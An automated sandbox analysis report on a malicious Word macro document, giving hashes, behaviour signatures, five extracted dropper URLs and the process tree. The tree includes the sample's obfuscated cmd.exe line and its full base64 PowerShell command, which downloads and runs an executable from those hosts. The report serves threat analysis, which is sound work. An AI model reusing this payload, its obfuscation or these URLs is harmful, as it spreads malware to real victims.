Analysis
-
max time kernel
118s -
max time network
119s -
platform
windows7_x64 -
resource
win7-20240220-en -
resource tags
-
submitted
08/05/2024, 22:48
General
-
Target
27148a2ca26de06491a69e10019524bc_JaffaCakes118.doc
-
Size
85KB
-
MD5
27148a2ca26de06491a69e10019524bc
-
SHA1
0ea4f779bdb39bb9be951e44c97f1204b3655082
-
SHA256
a175a71552d15dfe1539ea84b67fa8ebb2967350b59fa42e2fabe91a603797c8
-
SHA512
fe4335e99475c172d6f21465eaee71f8ac242dfc05d288a6238d25fdf99db42cecebc095bd5ac96033d78efe092ddaa5a51212938a88560a6f11b269366e3d2d
-
SSDEEP
1536:pptJlmrJpmxlRw99NBY+a6fcE9AlxXR7dHNB:Xte2dw99flczXXBTB
Score
10/10
Malware Config
Extracted
Language
ps1
Deobfuscated
URLs
exe.dropper
http://southerncalenergysavings.com/ba
exe.dropper
http://progea4d.pl/w
exe.dropper
http://aracfilo.ozgurdagci.com/5fOi9g
exe.dropper
http://test.timkirkhope.com/xFuC78
exe.dropper
http://odd.learnhacking.net/91Jer4V
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Blocklisted process makes network request 1 IoCs
-
An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs
-
Drops file in Windows directory 1 IoCs
-
Office loads VBA resources, possible macro or embedded object present
-
Modifies Internet Explorer settings 1 TTPs 31 IoCs
-
Modifies registry class 64 IoCs
-
Suspicious behavior: AddClipboardFormatListener 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 1 IoCs
-
Suspicious use of SetWindowsHookEx 2 IoCs
-
Suspicious use of WriteProcessMemory 12 IoCs
Processes
-
C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\27148a2ca26de06491a69e10019524bc_JaffaCakes118.doc"1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /v^:^ ^ ^ /r " ^s^Et P^d=^==^A^AgAAIA^AC^A^gAAIAACA^gAA^I^AAC^A^g^AAI^AACAg^AAIA^AC^Ag^A^AI^A^0^H^A^9B^w^eAgGAj^B^A^d^AE^G^AjB^Qf^AsD^ArBQ^Y^A^U^GA^yB^gYAsD^AzB^gY^A^0E^A^k^A^AI^A0^G^Al^BAdA^kEA^t^AQ^Z^A^s^GAvBgdA^4^GAJB^w^OAkCAzB^gY^A^0EAkAAI^A^wCAvBg^eAw^GAkAA^KAU^GA^s^B^QaAYEAk^BQY^A8^GA^sBg^b^AcH^Av^BAR^A^4C^AYBg^d^AcHAk^Awe^AkHAy^B^A^dAs^HA^p^AA^a^As^EA^M^B^A^J^A^ACAu^B^Q^a^A^AC^Av^Bg^eAw^GAkAAKA^g^GAj^BQY^AUGAy^BwbA^YG^A7A^wJ^AU^G^A^4^B^QZ^A^4CAnAwK^Ao^F^A^HB^QbA^QC^Ar^AwJAw^F^An^A^wK^AMGA^pBAbA^IGA1B^Ac^A^o^D^A^2B^g^b^A^UGA^kA^Q^P^A^M^H^Ai^B^QTAQCA7^AwJ^AkD^A3^AQNAcCA^g^AQ^P^A^AC^A^a^B^wR^A^0G^Ak^A^w^OA^kC^An^A^AQ^AcC^Ao^A^A^d^A^k^G^A^sB^Ac^AM^FA^uAw^JA^Y^F^A^0^Agc^A^U^GAK^BQM^AkD^Av^A^A^d^AU^GA^u^B^gLAc^GA^u^BQa^A^s^G^A^jBQYA^g^G^Au^B^gc^AEGAlB^AbA^4CA^kB^A^Z^A^8^GAv^AwL^AoDA^w^B^A^d^A^QHAo^B^AQ^A^gD^A3A^wQA^U^H^A^GBAeA8C^At^B^wbA^MGAuA^QZAAH^AvBAa^AsGA^y^B^Q^aA^sGAtB^Q^aAQ^H^A^u^AAdA^M^HA^lBAd^A^8CAvA^g^O^AAH^A0^BAd^A^g^GAABwZAk^DApB^w^T^AYGA1A^wL^A^0^G^AvB^wY^A4CApB^w^YAcGA^hBAZ^A^IHA^1B^wZ^A^oHAv^B^g^LA8GAs^B^Q^a^A^YGA^j^B^Q^YA^I^H^A^h^Bw^LA8CA^6A^AcAQHA^0^B^A^a^AA^EA3^B^w^LAw^GA^w^B^gL^A^Q^G^A^0A^Q^YA^U^GAnBwbA^I^H^Aw^B^w^L^A^8CA6^A^Ac^AQ^H^A^0B^AaAA^EA^h^B^gYA^8CAtBw^b^A^M^GAu^A^wc^AcGA^uB^QaAY^HAh^B^wcAkHAn^BgcAUGAuBQ^ZA^wG^AhB^wY^A4GA^y^BQ^Z^A^g^GA^0^B^QdA8^GA^z^BwLA^8C^A^6AAc^AQ^HA0^BAaAcCA^9^A^Aa^A^s^EA^MB^A^JA^s^D^A^0B^gbAU^G^A^pBAbA^M^E^Ai^B^QZ^Ac^FA^uA^A^dA^UG^A^O^BAIAQH^AjBQ^Z^AoG^A^i^Bw^bA^0C^A3B^QZA4GA^9AAW^AYHA^3^B^AJ e^- ^l^le^h^sr^e^wop&& ^f^Or /^L %^o ^iN ( 9^9^7^ ^-1 ^0) d^o ^s^et ^pR^UD=!^pR^UD!!P^d:~ %^o, 1!&&i^F %^o ^LE^Q ^0 C^A^Ll %^pR^UD:^~^ ^-^9^9^8% "2⤵
- Process spawned unexpected child process
- An obfuscated cmd.exe command-line is typically used to evade detection.
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -e JAB3AHYAWAA9AG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJABMAEsAaAA9ACcAaAB0AHQAcAA6AC8ALwBzAG8AdQB0AGgAZQByAG4AYwBhAGwAZQBuAGUAcgBnAHkAcwBhAHYAaQBuAGcAcwAuAGMAbwBtAC8AYgBhAEAAaAB0AHQAcAA6AC8ALwBwAHIAbwBnAGUAYQA0AGQALgBwAGwALwB3AEAAaAB0AHQAcAA6AC8ALwBhAHIAYQBjAGYAaQBsAG8ALgBvAHoAZwB1AHIAZABhAGcAYwBpAC4AYwBvAG0ALwA1AGYATwBpADkAZwBAAGgAdAB0AHAAOgAvAC8AdABlAHMAdAAuAHQAaQBtAGsAaQByAGsAaABvAHAAZQAuAGMAbwBtAC8AeABGAHUAQwA3ADgAQABoAHQAdABwADoALwAvAG8AZABkAC4AbABlAGEAcgBuAGgAYQBjAGsAaQBuAGcALgBuAGUAdAAvADkAMQBKAGUAcgA0AFYAJwAuAFMAcABsAGkAdAAoACcAQAAnACkAOwAkAG0ARwBaACAAPQAgACcANQA3ADkAJwA7ACQATQBiAHMAPQAkAGUAbgB2ADoAcAB1AGIAbABpAGMAKwAnAFwAJwArACQAbQBHAFoAKwAnAC4AZQB4AGUAJwA7AGYAbwByAGUAYQBjAGgAKAAkAGwAegBvACAAaQBuACAAJABMAEsAaAApAHsAdAByAHkAewAkAHcAdgBYAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAkAGwAegBvACwAIAAkAE0AYgBzACkAOwBJAG4AdgBvAGsAZQAtAEkAdABlAG0AIAAkAE0AYgBzADsAYgByAGUAYQBrADsAfQBjAGEAdABjAGgAewB9AH0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAA==3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
20KB
MD526e47b18657c3055cd965a9a103792ee
SHA11284f6098994d07524aff0ff264dbb9dd5ead2ad
SHA256717a97e51ca15a21515e3a9823aedde4e771675378cf4417cdd3b6ebcb041b43
SHA512d09e65a1a8e6b38a6f329ce8a98d63c64fd55f7b4659fa5681d9e6f3f9b9f1a7a21446b5c78ed84ecab660a0f60666464e48a4b2398303d0650f1516a9612296
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
4KB
-
Filesize
1024KB
-
Filesize
44KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
44KB
-
Filesize
1024KB
-
Filesize
64KB
-
Filesize
44KB
-
Filesize
64KB